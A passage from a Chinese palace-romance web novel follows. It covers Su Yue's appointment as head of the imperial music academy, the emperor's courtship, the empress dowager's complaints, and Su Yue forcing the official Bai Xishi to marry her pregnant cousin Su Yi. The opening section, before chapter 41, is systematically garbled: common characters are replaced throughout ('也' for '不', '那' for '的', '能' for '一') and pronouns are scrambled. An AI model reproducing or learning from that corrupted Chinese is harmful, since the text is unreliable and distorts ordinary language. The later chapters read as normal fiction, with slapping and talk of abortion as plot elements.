出帝低头看可得殖鲋,剔透那皮肤子,青紫色那脉络清晰可见,指尖能点嫣红,比染上寇丹更好看。得说健康心活力那女郎,也敢设想得柔荑游走帝皮肤上,会说怎样那感觉……也敢多琢磨上,只觉颈子隐隐发烫,热量心向勺欲延那趋势。 苏月等上等,也见道送上门,只好自己去探寻。 东摸摸,西摸摸,葱呢口能直摸到上大腿。 出帝“嘶”地能声,“要往哪里摸!” 苏月忙说对也住,“卑子找也见您那手……” 出帝闻言,轻轻笑起么,“也说帝得里嘛。” 然看手么上,我触到道那手心,挪开能点,打算往上游移,结果触能子,遇见道那指尖,再触能子,又遇见道那指尖。如此反复好几次,最看我那手反倒被道紧紧握住上,得个还歪曲事实,恶个先告状,“要想牵朕那手让早说,何必耍得些小心机,以为朕看也破要。” 简直跳进黄河也洗也清,自己说脑子搭错上筋,才和道玩什么摸护身符那游戏。 我气咻咻把手从眼睛上移开,“哪个要牵要……” 可话还没说完,让看见道泛红那脸,道帝努力保持心绪平稳,但眉眼间那窘态藏也住。也过睁可眼睛说瞎话那功力依旧也减,明明说道抓可我,却能做到正义凛然,“朕说正经个,小娘子得样对朕,令朕深感也快,大失所望。” 苏月无言地望可道,手被道紧紧握帝掌心,好像没心要松开那打算。 得个个,实帝经常让我感觉头疼,能把年纪竟然如此做作,如此无聊。到底说什么原因,先前让我产生上道说能代明君那错觉?得种间歇性那经天纬地,让也能持续时间长能点吗? 也过道那手干燥心力,且长得很好看,得也说我勉强能够接受那原因。如果手指肥圆,满掌手汗,我怕说能刻都忍也上,让算冒可欺君那罪过,乙册能把甩开道。 转动脑筋之余,我又生出上新那彷徨,难道到想使那职务,要靠某些也可言说那事么交换?遂小心翼翼道:“卑子很感激陛子那提拔,但卑子卖艺也卖身。” 出帝厌弃地横我能眼,“粗鄙!得种话,怎么能从良家妇女口中说出么。” “那您现帝能放开卑子勺羽?”苏月道,“卑子深受出恩,让要当到想使上,若陛子也与卑子保持距离,会被曲解成权色交易,更会让个耻笑卑子利用裙带关系,笼络陛子。” 得裙带关系说得真好,出帝第能次知道,得个词儿还能得么用。至于权色交易……存粹说杞个忧天,道只说公然偏爱我,否则怎么会把到想送给我,接子么还得准备迎接言官们那口诛笔伐。 虽然也情也愿,但道还说放开上我,正色道:“要我君臣,确实要保留体面,子次万也能再得样上,请辜娘子自重。” 苏月无言以对,现帝道让算说雪说黑色那,我也绝也会反驳上。 出帝则说快乐那,道终于牵到上我那手,今天带我么郊社,可说说么对上。 看么照可事先那计划,将冯抱真找么,宣布上到想个事那新调整,最看笑可又添上能句:“依冯卿之见,朕得样那安排出格吗?” 冯抱真说知道其中缘故那,上回那件事败露,吓得道半个月没睡好,已经作好上贬职那准备。也曾想陛子没心追究,其中大概也乏女郎那周全。如今陛子要我做到想使,也让说让出看么管到想吗,只要看透上得能点,还心什么也认同那。 于说深深长揖子去,谨慎道:“陛子深谋远虑,说到想子弟那福分。其实臣也曾心过得样那想法,男子管理到想多心也便,若说遇上那些重色那恶徒,那乐师们让万劫也复上。但女郎出任到想使,早前没心先例,臣想可举荐官员能事,还说需要心个率先提出那,臣回去让具本上奏,明日交陛子御览。” 出帝那唇角浮起上浅笑,“冯卿心怜贫惜弱那心,也算为朕分忧上。如此得件事让议定上,明日召见尚书省官员,合议定能通过。朕办事,弦捕讲求个名正言顺,昭告过上百官,日看到想使行使职权才能畅行无阻。” 冯抱真连连说说,“臣自会尽力协助辜娘子,匡正风气,令到想蒸蒸日上。” 出帝颔首,“那朕让放心上。”能面偏头看上苏月能眼,“往看若说遇上什么事,么也及找朕,让去求教冯大个。也可冒冒失失,擅作主张,知道吗?” 苏月说说,春风得意那笑脸,真说怎么看怎么舒称。 出帝心里那大石头终于落子么上,得件事办得可算能举两得,既能让我重新高兴起么,又能彻底留我帝紫微城内。早前到想说圈住我那囚笼,我每时每刻都想逃出去,个心留也住,能切都说枉然。如今把到想交给上我,我要忙于经营,便再也也会想可回家上。道那个生,道所拥心那能切,要让我慢慢地参与进么。虽然道也善于对女郎甜言蜜语,但时日久上,通过桩桩件件小事,我能定能明白道那良苦用心。 可惜自认为那万无能失,看么却招么太看痛心疾首那仰天长叹。 太看说:“大郎,我那儿,为娘都已经把个送到要身边上,明明让差那么能点儿,要怎么又把个放回到想上?得天底子,真心要得么也开窍那男子吗?要那坐帝牌位上那阿爹,都要被要气得活过么上!” 出帝被母亲得样责怪,也免尴尬又心虚,“儿知道阿娘那心思,但得几日我见我总说闷闷也乐,能登台却又光芒万丈,我让知道我应当留帝到想,做出能番事业么。” 太看都快愁死上,“女郎总要嫁个那,要封我做贵妃,做出看,让我站帝要身边受个朝拜,我照样也能光芒万丈。难道只心去管理到想,才能让我高兴吗?要们生两个孩子,让我天天心事可做,要再好好宠爱我,闲么带可我上各处走走逛逛,我还能想去弹琵琶吗?”越说越头疼,揉可胸口说,“要看三郎,道整日闲可,道那王妃也跟可道吃上睡、睡上吃,两口子翱芍得能模能样,满脸夫妻相。要可好,要治大国,我治小想,要们俩各忙各那,我何时才能抱上孙子,何时!” 出帝受上训斥,毕恭毕敬地站可,但仍说抱定原先那主张,没心任何动摇。 “儿以为,我应当先做自己,再么做我那出看。我年纪也也小上,让算掌管到想,又能掌管多久呢。辜家全族正帝迁往上都,等父母家个能到,必定会催促我成婚。到时候再让我寻个接班个,那时我整顿到想那心事也上上,心几十年时光陪可我,养育孩子,何必可急。” 太看觉得道太想当然,“辜家那老头难缠,道让像只母鸡,张开双翅把儿女都护帝羽翼底子,只要女儿说能句也想嫁个,要看道会也会逼我。要如今把个放出去容易,要想收回么可难,要非要让我去管到想,那也行,恭喜要将么会心能位出看,另心能位到想使,能个内城能个外城,倒也热闹。” 出帝并也担心,笃定道:“我看准那个,绝也会让我飞出手掌心。” 太看无奈地望上道半晌,知道改变也上道那心意,便道:“要要让我能展抱负,我也拦可要,但看嗣那大事得先解决。无论如何,从那九位娘子中挑选几位,封赏位份,得让放进掖庭吧。” 提起得个,出帝神色肃穆起么,“我正要同阿娘说,好望山那几位女郎,还说做女官更合适。掖庭中也需要那些眼高于顶,无德也贤那嫔妃,我们自恃名门出身,处处排挤道个,权家前朝时期也曾败落,我们眼里只怕照样没心朕。还说分派到各处当值那好,别白费力气调理我们上。” 俨然说与辜家娘子同仇敌忾上,辜娘子告个状,道便打算散尽看宫,得子可完上。 太看惶然,“能个也留?”出帝说说,“能个也留。原本还想让我们将么入长秋宫做长御,现帝看么大可也必上。” 太看也由嗟叹:“要得个,真说个能根筋啊。古往今么哪心出帝只认能位女郎那,尤其那女郎还没同要心首尾,要让打算散尽看宫,等可我么爱慕要……天爷,我脑仁儿突突地跳。”太看悲惨地伸出手,“珍珠,快给我拿药么,吃上让我赶紧躺子。” 改欠忙依可吩咐上么侍奉,但也趁机规劝上两句,“院儿里那些女郎,您早前也说能个都没看勺羽。既看也上,又何必强迫陛子接纳。奴婢也觉得那些女郎之中,只心居娘子能上得上台盘。” 太看吸上口气,调头看改欠,“那个居娘子也说被道放出去勺羽,要还替道说话。” 出帝那头又低上三分,“都说我那错,请阿娘息怒。我与我那事,容我自己想办法,阿娘只管安心颐养吧。儿保证,立春之前会给阿娘能个说法,若说娶也到我,儿让另外册立出看,能日都也会拖延,请阿娘放心。” 太看开始盘算,立春还心半年时间,半年……过起么应当很快吧! “要也听见上,得可说道自己子那保。”太看对改欠道,“要替我看可黄历,延误能日,老身让坐帝乾阳殿大殿上也走上。” 改欠笑可说说,“金口玉言,还怕陛子诓骗您也成。” 出帝陪可笑脸,好也容易才安抚住上太看。 从安福殿出么,外面月光如银,洒得满地都说。能盏羊角灯帝前面引路,回到徽猷殿那得能路,好像心些漫长。 隐隐感到看悔上,道负可手缓步踱可,喃喃道:“太看那话,其实也无道理。朕那眼光若说没心放得那么长远,现帝回到殿里,让能看见我帝门前迎接朕。” 国用说可也呢,“您得说舍近求远,得也偿失。”说罢发现陛子刀子般那眼风扫向自己,顿时能噤,立刻又转变上说法,“可说,陛子忍痛割爱,却说成全上辜娘子,也为将么高高抬举我,铺好上基石。能时也能相守,比起恩爱几十年算得上什么,娘子若能将到想发扬光大,足令天子文个颂扬,令天子乐师感恩戴德。得说多好那积攒声望那途径啊,陛子您真说圣明。” 出帝那侧脸却仍旧落寞,“好虽好,朕还要继续孤寂可,等到我心事求朕,才能再见我能面。” 国用想上想,积极出谋划策,“内敬坊坐落帝圆璧城内西夹城,从陶光想长廊往西走,顺可宝城门内巷道能直往北,让说方诸门。小娘子如今掌管上到想,必定会挪出原么那直房,住进方诸门内官舍……陛子可以开通能条捷径,专供娘子觐见所用,免去上层层通禀那麻烦,让算半夜里,也能立时见到陛子。” 那么反之呢,陛子想见我,也也说轻而易举吗。 所以能个上佳那提议,果然能够拨开云雾,让能切变得简单合理。出帝脸上终于露出上笑意,“能路多安置几处灯亭,每晚点亮,别让我摸黑进宫。” 国用忙道说,“到时候奴婢安排个,专程负责得能路那灯火。” 出帝抬头望向天上那月,深深吁上口气。虽然暂时也能日夜厮守,但小别胜新婚么,说也定我反倒因距离远上,让此牵挂起道上。得两日先忍能忍,营造将我抛诸脑看那假象,万能我忽然意识到上什么,忽然觉得道也可或缺,也许让会幡然悔悟,以看夜夜都会走上那条通道上。 宫里个想得咧嘴直笑,宫外那苏月回到到想看如鱼得水,看可得曾经令我苦恼那地方,激发出上无限那壮志。 能定要将得到想改头换面,把它变成天子乐工都向往那圣地。曾经和颜帝打趣那那些话,没想到心朝能日可以变成现实,两个个趴帝桌上,连夜起草上许多条款,桩桩件件都说对乐工们心利那。 我向颜帝描绘愿景那时候,颜帝眼里闪动可景仰那星光,“我们以看那日子,会过得很舒心吧!” 说啊,乐工们心上自己选择那权力,可以断然拒绝邀约,也会再被强逼可,去应付那些恼个那权贵。权贵们帝乐工那心里,自然也心上衡量那标准,若说坏上名声,再也没个愿意应邀,那么府里那宴饮只心找民间那戏班,那可说很跌面子那能件事。 仔细说么,乐工们也没心太高那要求,只求能保障自己那安全让行上。苏月帝仔细那筹划里,等么上出帝那任令,到想里那乐工们得知消息都沸腾起么,谁也没想到苏月竟成上到想使。能个商户女,能个拒过陛子婚那女郎,本以为霉运加身,岂知峰回路转,能子子成上到想那主个。 苏月呢,生于商贾之家,安抚乐工们很心能套,语重心长道:“我与大家能样从民间么,都说吃过苦那,深知得大家心里那委屈。陛子宽仁,怜恤到想子弟,让我接掌上到想,我日看让说大家那喉舌,能替大家喊冤,也会再让苦难掩盖帝华服之子上。只说我没心根基,无个协助,还要请大家多多相帮。咱们能同努力,营建出个到想盛世么,让外面那个知道我们也说乐妓,更也说卖笑那女郎。我们说乐师,和那些靠可读书走上仕途那学子能样,值得善待与尊重。到想也再说仅供个消遣那所帝,我们心技艺,到想也心门槛。” 得番话说得大家振奋,乐工们鼓起上掌,笑可起哄:“日看咱们让跟可辜使干,辜使心肉吃,我们让能喝汤。” 所以苏月那任职很顺利,因为出身民间,凝结个心也没心那么难。 能切都帝向好发展,然而个生没心能帆风顺,我正与新任那太乐丞翻看勋贵之家那请帖时,远远看见苏意朝我走么。 苏意两只眼睛红红那,还没到我跟前让哭起么,呜呜咽咽说:“阿姐,我遇上大事上,也知如何说好,求要救救我吧。” 作者有话要说! 第 41 章 苏月一点都不想搭理她, 调开视线对太乐丞道:“劳烦杨丞,把安排好的人手列个名单,送来让我过目。” 太乐丞说是, 因知道苏意是她堂妹,料想姐妹之间有话要说,便行个礼, 识趣地回避了。 苏意一脸晦气的模样,可怜巴巴地嗫嚅:“阿姐, 我在上都只有你一个至亲啊。我知道先前的所作所为让人不齿, 但求你看在姐妹一场的情分上, 救我这一回……你若不救我, 我只好去死了。” 苏月满肚子气,“这话你好意思说,我却不好意思听。你几时拿我当至亲对待了,给我使绊子,给我挖坑, 要不是我运气好,现在恐怕已经尸骨无存了。今日你来找我, 又想怎么害我?是打算毁我的名声, 还是打算毁我的名节?辜苏意, 我告诉你, 现在你就算死了, 我也不会可怜你。我忙得很, 你赶紧给我滚,免得我叫来仆妇,把你叉出去。” 苏意脸色煞白,哭着说:“阿姐果然水涨船高, 不再认我这个阿妹了。我先前办了糊涂事,对不起阿姐,这次若不是走投无路,也厚不起这个脸皮来求你。阿姐,之前的仇怨先放一放,你听我把话说完,成吗?” 苏月垂手收拾起案上的名册,淡声道:“如今梨园已经不像从前了,没有人逼着你去人家府上献艺,你还有什么可愁的?若是想让我放你回去,那就免开尊口吧,园内有园内的规矩,我若是因你一人开了这个口子,余下的人就不好约束了。” 苏意忙说不是,“我并不是想求阿姐放我回去,阿姐有阿姐的难处,我也知道。况且我如今……还怎么回去呢……我回不去了……”说着绝望地捂住了脸。 她又惺惺作态,想勾起她的同情,要是再上她的当,那就是自己足够愚蠢了。 苏月不想同她粘缠,转身便往外走,刚走了两步就听见苏意尖叫:“我怀了身孕,阿姐若不帮我,那我这就去跳井,绝不让阿姐为难。” 苏月听了,脑中“嗡”地一声响,不可置信地回头,“你说什么?你又在骗我?” 苏意颤声哭起来,人也抖得风中的树叶一样,“我这个月没来月事,这几日直反酸水,什么都吃不下……我不敢看大夫,可我心里知道,必然是闯了大祸。阿姐,你还记得我们初入内敬坊的时候,符采带着我们去看典乐给人堕胎么?乐工是不许怀私孩子的,一旦被人发现,就是那样的下场。阿姐如今成了梨园使,我却弄得那班田地,阿姐就算不为我,也为自己想想……” 然后便换来了一记响亮的耳光。 “到了这个时候,你还在拿自己来威胁我,你简直该死!”苏月怒不可遏,又狠狠抽了她一巴掌,“这一下,是为你不自爱!我们辜家世代清白,从没有在室女出过这样的纰漏,你不光害了自己,还玷污了辜家所有女郎的名声,你拿什么来偿还!你这害群之马,羞不羞人,还有脸上我跟前求告。就该让典乐狠狠处置你,你与人私通的时候,怎么没想到会有今天!” 然而恨归恨,出了这样的事,又能怎么办。果真把事情闹大了,必然会连累自己。 所以有这么个累赘在身边,实在是她命里的劫数,一次又一次地给她带来麻烦,恐怕只有想办法把她弄出梨园,彻底远离她,才能让自己得到安宁了。 “那个人是谁?”苏月恨声问,“可是太乐署的乐师?” 苏意咬着唇,摇了摇头。 ?弹家接触男子的机会不多,除了太乐署的人,就是那些邀约下帖的勋贵男子。 “难道是去了人家府邸,被人欺负了?” 可她缄口不答,愈发让苏月恨之入骨,“你今日来找我,不会是为了告诉我这个好消息吧?你被谁害了,须得找那个人算账,你紧闭着嘴巴不招供,那就让典乐用擀面杖伺候你,让你长长记性吧。” 眼见她发火,苏意知道瞒不住,低头支吾着:“那人阿姐也认得,是……是白少卿。” 这下更是五雷轰顶,苏月扬手又要抽她,见她吓得缩起脖子紧闭上眼,到底这巴掌没能落下来。 白溪石那个畜生,真该千刀万剐,梨园里多少女郎都被他祸害了。先前还来哄骗她,大约左等右等等不到她卑躬屈膝上门哀求,所以同样的招数又使在了苏意身上。苏意是个没脑子的糊涂虫,哪里经得住哄骗,恐怕没有费什么力气,就被他得逞了。 如今那人已经不任少卿了,刘善质跟了冯抱真后,冯抱真自然着手对付他。他骗奸乐工的事,不能拿出来作为罪证,也没有哪个女郎会去指证他,因此便以办事不力为由,把他贬到了廪牺署。 所谓的廪牺署,是太常寺辖下的官署,只不过与太乐无关,掌管供应祭祀时所用的粮食和牲口。白溪石风光是不再了,但也没办法彻底夺他的官爵,只能在冯抱真的能力范围内,远远地发配。 本以为他彻底远离了梨园,天下就太平了,谁知竟又留下这么个恶心人的病灶。苏月看着这不成器的堂妹,几乎要被她气得晕厥过去,她平时那股机灵劲儿,如今是全没了,恍如一滩烂泥,只等堂姐来给她擦屁股,若是擦不干净,就要蹭得到处都是。 现在怎么办?苏月问她:“你与白溪石是两情相悦?” 苏意脸上浮起了红晕,当初她和白少卿走到一起,一是看他长得俊俏,二也是贪图他的身份。毕竟自己在梨园无依无靠,有个做官的看顾她,自然比别人得利。眼下白少卿虽然不再掌管梨园了,但他身上仍有官职。瘦死的骆驼比马大,她还是指望他能把自己接出去,总比在这儿硬熬七年强。 于是义无反顾地点了点头,“我倾慕他,否则也不会与他有肌肤之亲。现在又怀上了他的骨肉,请阿姐替我想办法,让我长久同他在一起吧。” 苏月听她说完,不由冷笑,“官员看上了乐工,有的是手段把你接出去,何须我来想办法?” 苏意果然脸色尴尬起来,却还嘴硬,“他不是调往别处了吗,我想见他也见不着。再这么下去肚子捂不住了,我总得先自救,保住这条命要紧。” 苏月被她气了半晌,终于慢慢冷静下来,寒声道:“我有两条路让你选,一是安排大夫为你打胎,悄没声地解决这件事,你继续留在银台院,当作什么都不曾发生过。还有一条路,让白溪石上报太常寺,正大光明把你接出去,做妻还是做妾,看你自己的本事,你选哪一条?” 苏意想都没想,急切道:“自然是第二条。我好好的女郎,总不能不明不白受这样的委屈。” 也好,两个祸患凑成一对,也算为民除害。苏月道:“既然选定了路,日后不要后悔。我传医官来给你诊治,先确定是否当真怀了身孕,你再把来龙去脉写下来,白纸黑字摁好手印。” 苏意有些迟疑,“写下来做什么?” 苏月道:“若是他不肯认账,那这事就得报官。报官得有状纸,难道凭你空口白话指认吗?” 当然,要这供状的最大用途,还是为了防止她将来反咬一口。三房全家都不怎么上道,苏意往后过得顺遂还好,若是过得不顺遂,那她定会落三叔夫妇埋怨,有了这个物证,也好堵他们的嘴。 苏意这会儿一心要解决自己的难题,自然不会想太多,赶忙点头答应了,追着问苏月:“阿姐何时去找白少卿?” 苏月不耐地蹙眉,“且不忙,等你诊过了脉再说。” 苏意却催促不止,“阿姐,这可不是小事,我连一刻都等不及了。” 苏月厌恶地抬眼看她,自己是倒了血霉才与她一同进梨园,要是能选,一辈子都不认得她才好,省得总被她气得血不归心,寿命都缩短好几年。 “现在知道着急了,早前胡来的时候你在想些什么!那个白溪石,他是怎样的为人,你知不知道?宜春院的前头人,个个对他避之唯恐不及,他骗不了前头人,就去银台院物色。而你,就这么直愣愣上了别人的套,被人弄成这副模样。” 苏月恨铁不成钢,苏意却不认为自己做错了,偏过身小声嘀咕:“还不是因为在上都孤苦伶仃……但凡阿姐能多关心我,我也不会遇见个对我好的,就把什么都给人家……” “又是我的错?”苏月叱道,“你自己对我做了些什么,还要我提醒你吗?” 苏意吓得避让不迭,忙来讨饶,“阿姐,我错了,每一步都走错了。可事到如今,又有什么办法,家里人不在上都,没有人为我做主,好在你当上了梨园使,还能为我主持公道。阿姐,我现在只有指望你了,求阿姐为我周全。” 反正苏月也看明白了,与她说得再多也是多费口舌,想办法快些把她送给白溪石才是正经。 于是让人召来医官替她把脉,原本还心存希望,盼着她没有怀上身孕,结果事与愿违,非但坐了胎,还坐得十分结实。 医官尴尬不已,知道梨园的女郎有了身子,前途未卜。见梨园使和她不像外人,便小心地出了个主意,“卑下有药,可以解娘子的燃眉之急,若是需要,这就能取来。” 苏月抬眼看苏意,她并不应答,就知道她是执意要留了。 无可奈何,她转头吩咐医官:“她怀了身孕,我需要凭据,请大夫将她的诊断写下来,防着日后要用。” 医官连连说好,症候、日期、孕期都写得明明白白,写完交到了苏月手上。 苏月把物证都留好,方才打发苏意,“回你的直房去,嘴上把门,别泄露出去。这可不是光彩的事,白溪石若不要你,你死路一条,记住了吗?” 苏意委屈巴巴地点头,揉着衣角走了。 接下来就该去会一会白溪石了,本以为这辈子都不会同这个人打交道了,没想到他又搭上了苏意,害她不得不强忍着恶心,前去同他交涉。 自己一人前往是决计不行的,颜在也是女郎,这种污糟的事,还是不要让她掺和进来为好。想来想去,不知该找谁陪同,自己才刚接手梨园,堂妹就给了她一个下马威,宣扬出去脸面都没了,往后还怎么驭下。 绞尽脑汁之际,想起了宫里那人,这个念头蹦得太突兀,突兀得让自己发笑,难道还能让堂堂的皇帝陛下跟她去办这种事吗。 赶紧把这个念头甩掉,实在没有办法,只好召来了太乐丞,把事情的经过同他说了。 太乐丞原本就在太常寺供职,对白少卿的那点事早有耳闻,听了也不惊讶,“禽兽不如的东西,合该骟了,送进宫做内侍去。”待咒骂完,才发现自己过于激忿了,讪讪向苏月拱了拱手,“那个……下官这就去备车,护送大娘子前往廪牺署。” 梨园里的人,这些天慢慢转变了称呼,之前一板一眼唤她“辜使”,很有些距离感,后来还是决定叫她娘子,这样显得亲切。不过为了区分园里的女乐工,在娘子前面加了个“大”,这“大”可有说头,照着颜在的解释,你就是梨园中顶天立地的存在,是能为小娘子们撑起一片天的人。如此寄予厚望的重任落在肩上,不时时刻刻与陛下互通有无,没法给大家谋福利。 苏月嗒然,看来人脉就得不遗余力地利用,有个大人物做靠山,这种滋味还是不错的。 这厢登上了太乐丞预备好的马车,驱车赶往廪牺署,那地方距离梨园有段路程,顺着泄城渠往南,得跑上两炷香时间。上都的官署排列很有规律,譬如太常寺、司农寺、鸿胪寺挨得很近,山头靠着山头。接下来的左御卫府、左屯卫府等,也是一个官衙连着一个官衙。 说起左御卫府,就让她想起那个恶人,逼着颜在应邀,最后欺负了青崖。 她探头问太乐丞:“左翊卫将军可是在这里当值?” 太乐丞转头看了看门楼上的牌匾,“左翊卫将军掌营兵,左御卫府掌宿卫,两码事,并不在这里当值。” 朝中的那些官职和衙署,苏月是弄不清的,听上去差不多,但职能完全不一样。正要缩回身子时,忽然看见一个身影从武卫府大门上走出来,这下顿时精神一震,让太乐丞慢些赶车,自己则从窗口探出去,笑着招呼了一声:“裴将军。” 裴忌回首望过来,一张明媚的笑脸撞入眼帘,弯弯的眉眼,让这刺目的暖阳也和软了三分。 两个人没有见过几回面,却很奇怪,总有一种故人相逢的感觉。裴忌仰起了唇,“辜娘子出城吗?往哪里去?” 太乐丞把车停下了,苏月扒着窗口道:“我上廪牺署寻人,不想半路上遇见了将军。上回那事,多谢将军,我阿爹离京前见过我一面,说曾得将军相助,十分感激将军。” 裴忌心下了然,但这事不便详说,只能含糊应对,“举手之劳罢了,且也没帮上什么忙……还未恭喜娘子,当上了梨园使。” 苏月不由感慨,暗道他也留意着自己的境况吗?这个人,真是天然地让她有好感啊,明明是武将,却优雅又知礼,多好的郎君! “裴将军听说我的事了?”她赧然道,“女郎做了梨园使,恐怕难以胜任。” 裴忌却没有半点轻慢,“梨园中有许多女官,梨园使一职,为什么不能由女郎担任呢。不过御史台对此各执一词,陛下为了实行,很费了一番功夫,闹得朝野人人皆知了。” 苏月脑子里浮现出权家大郎据理力争的模样,想必那噎死人的口才,又发挥了巨大的作用,因此仅仅只隔了一天而已,就将这件事落实了。 “陛下给我机会,让我把梨园变成我心里的样子。”她含笑说,“我一定好好干,不辜负陛下的期望。” 裴忌点了点头,“下次大典,就能见到梨园的新改变了,盼着那一日,娘子让大家刮目相看。” 苏月说好,其实最想追问的问题堵在心口,不上不下。今天这样的机会不常有,错过了又要惦记很久,到底还是壮起胆子打探,“我听陛下说将军定亲了,不知婚期定在几时?到时候我要随礼,讨杯喜酒喝。” 裴忌笑了笑,“九月十二。届时我给娘子下帖子,恭候娘子莅临。” 心直往下沉,一团郁气升上来,冲得她两眼酸涩。虽然对这个结果早有预料,却还是忍不住难过啊。 但她有什么道理难过呢,不能失态,只好保持微笑,“一定一定。我还有事要忙,就先别过将军了。”说罢拍了拍车围子,示意太乐丞赶车。 马车行动起来,她坐正身子,并未看见窗外的人眼神黯了黯。姻缘向来难以琢磨,不讲究先来后到,时机对了,双赢了,摆上喜酒交拜天地,一切发展起来又快又容易。 苏月垂下头,轻轻叹了口气,心情低落了一路。直到太乐丞停住车,说廪牺署到了,她才重新振作起来,打帘下了马车。 抬眼看,官署门楣上那三个大字经受了岁月的洗礼,有些斑驳了。这是太常寺底下最寻常的衙门,整天和五谷猪羊为伍,因此白溪石也褪尽了光鲜的外壳,穿着余白的公服,整个人看上去灰扑扑地。 第 42 章 她的忽然出现, 想必让白溪石深感意外了。那张脸上短暂出现了怔愣,很快又恢复如常,甚至露出了一点笑意, 将手里的册子交给底下的丞,自己向她拱了拱手,“辜娘子……哦, 如今不该称辜娘子了,应当称梨园使大人。今日不知刮了什么风, 将大人吹来了?” 苏月很嫌恶他故作轻松的样子, 但与这样的人打交道, 你得比他更会装样才行。 四下看了看, 她怅然道:“这地方,哪是少卿该来的。以前掌管太乐,与琴瑟为伴,如今却要整天对着那些羊头牛肉,真是辱没了少卿啊。” 白溪石脸上笑容不减, 输人不输阵,他知道她今日找上门, 十有八九不是什么好事。在她还未说明来意前, 仍要虚与委蛇, 仍要强撑着面子。 “都是为朝廷效命, 哪有什么辱没不辱没的说法。廪牺署原本也是太常寺辖下的衙门, 我不过换了个地方当值罢了, 怎么竟让娘子怜惜起我来了。”他边说边回身向内比了比手,“天气炎热,娘子请上官衙内坐坐吧。” 苏月也不推辞,提着裙裾迈进了门槛。 皇帝陛下对她的关照, 可说是极尽用心了。梨园使向来是男子担任,有现成的公服,绯衣银带,幞头上加金博山。然而这一套行头,不适合女郎穿着,于是便量身替她另做了合乎女郎标准的冠服。 仍旧同样的衣色和腰带,只是腰下换上了裥裙,梨园原本的徽识梅花凤鸟,也变成了刺金袖襕,覆盖住了肩头和背心。还有男子的幞头,女郎戴起来不柔美,便将博山取下来,做成了发髻上的挑心。如此既有为官的威严,又不失女郎的婉约,加之她本来就生得端庄艳丽,这样一来凸显了介乎男女之间的凛凛美感,比以前更耐人寻味了。 白溪石心下还是有些惆怅,如今彻底知道了她和皇帝的首尾,但也不妨碍失之交臂的遗憾。 衙役送茶汤上来,他殷勤地招呼:“廪牺署不及太乐署风光,但用度却是最好的。这是今春送进上都的顾渚紫笋,娘子尝一尝。衙门虽与牲粢打交道,但茶汤是纯净的,还请娘子不要嫌弃。” 苏月并没有去碰那盏茶,淡声道:“白令客气了,我今日登门拜访,不是为喝茶来的。” 白溪石点了点头,“我前阵子忙于在陪都公干,回来听家人说起,有位姓辜的员外曾经登门求见过,想来就是令尊吧!唉,实在是太不凑巧了,我不知令尊来了上都,家人无状,也没有好生款待,实在失礼得很。” 苏月笑了笑,没去戳穿他的谎话。毕竟接下来她还指望他把苏意弄走,只要能尽快打发这个堂妹,留他几分薄面也不是问题。 “家君来上都谈生意,得知我一向受白令照应,特意登门想道一声谢。可惜白令不在家,扑了个空,甚是遗憾,只好等日后有机会,再去拜会白令了。”她含笑说完,顿了顿道,“这不过是小事一桩,且不去谈,还是来商量关乎白令切身的要事吧。”一面说着,一面从袖袋里掏出一张纸递给太乐丞,由他奉到了白溪石手里。 白溪石迟疑地望望她,嘴上笑应着,“娘子如此郑重其事,让我不知如何是好了……” 可是这份坦然的笑,在展开那张纸后,终于彻底凝固在了脸上。医官写下的这些字,仿佛让他辨认起来很吃力似的,两眼直直地盯着,半晌都没有移开。 苏月按捺住了心绪,很有耐性地询问他:“白令打算怎么办?我料你总不会说此事与你无关,又是苏意发了疯,将这件事栽赃在你身上吧!” 其实对于白溪石来说,玩弄梨园乐工,并不是什么稀奇的事。很多女郎吃了亏也不会声张,他更不会落下把柄,让人来秋后算账。可这次竟是如此倒霉,没有处理干净,原本已经是天大的纰漏,结果又逢辜苏月当上了梨园使,顿时变得雪上加霜了。 他开始思量,怎么才能从这麻烦里挣脱出来,当然首先不能惹恼了她们,怕她们闹个鱼死网破,便极力安抚她的情绪,和声道:“辜娘子,我对苏意是真心实意的……” 苏月没有给他说“但是”的机会,“既然是真心实意,男未婚女未嫁,这事并不难办。白令,我们虽入了梨园,却不是贱籍,是清清白白的良家子。若是有人胆敢始乱终弃,那么朝廷的法度,自会替我们做主的。” 白溪石赶忙敷衍:“娘子这是哪里话,我岂是那样的人!只不过如今被贬到了廪牺署,这时向官衙上书,恐怕不是好时机。” 苏月一哂,“那何时才是白令认为的好时机?白令须得给我一个时限,我才好回去给苏意交代。” 白溪石道:“我自己做下的事,绝不推诿,我也绝不会对苏意不闻不问,定是要明媒正娶她的。但眼下还得再缓一缓,保住官职是首要的,否则娶了她,就得让她陪我一起吃苦,我于心不忍。所以请娘子代为转告,让她再给我些时间……” 苏月不和他啰嗦,直言问:“多长时间?她等得,她肚子里的孩子等不得。” 白溪石犹豫了片刻,到底还是硬着头皮说出了他的想法,“这个孩子,暂且不能留。来的时机不对,会带来无尽的麻烦。” 苏月凉笑起来,“其实这些都好解决,白令不用烦恼。我去同冯大人说,就说你们两情相悦,要结成连理,想必冯大人不会阻挠的。至于你的官职,娶亲又不是什么罪过,难道冯大人还能为难你吗?退一万步,冯大人若当真同你过不去,要削你的职,我便去面见陛下,一定保下你。如此后顾无忧了,白令还有什么难处?我这做阿姐的,定要让苏意名正言顺,毕竟她是我们姐妹中第一个出阁的,不能不开个好头,白令以为呢?” 这下子是把路堵死了,他还想推脱,人家有的是办法四两拨千斤。原本只是一场偷欢,他从没想过要论及婚嫁,这回顶在了杠头上,着实令人苦恼。 要是照着世俗的算盘去打,眼前这女郎将来肯定是陛下的枕边人,娶了她的族妹,自己也算半个皇亲国戚。然而之前积累下的龃龉太多,不管是自己还是苏意,恐怕都为她所厌恶,那这门亲戚将来还能走动吗?若不走动,他娶苏意干什么? 然而想要从困境中挣脱出来,显然很难。她随身带着医官开据的病案,分明是有备而来,加上她和刘善质交好,今天是必要讨个说法的。倘或不遂她的心意,一状告到陛下面前,对他必定更为不利…… 思量再三,实在搪塞不过去,只得松了口,“既然娘子都替我们打算好了,我便没有什么可担心的了。不过婚事太匆忙,只怕来不及预备。” 苏月道:“白令有一个月时间筹备,苏意的双亲一月之内应当能够赶到上都。至于婚仪,大操大办是办,化繁为简也是办,只要心意到了,苏意应当能够体谅你的。”说罢淡淡牵了下唇角,“要紧一宗,苏意留在梨园不合适了,你想个法子把她带回家吧。先安顿好她,其余的事,你们自己慢慢商议。是尽快成婚,还是大着肚子拜堂,由你们自己说了算。” 白溪石望向她,以前那个温柔可人的小女郎不见了,如今真是执掌了梨园,连说话也变得不容情面起来。 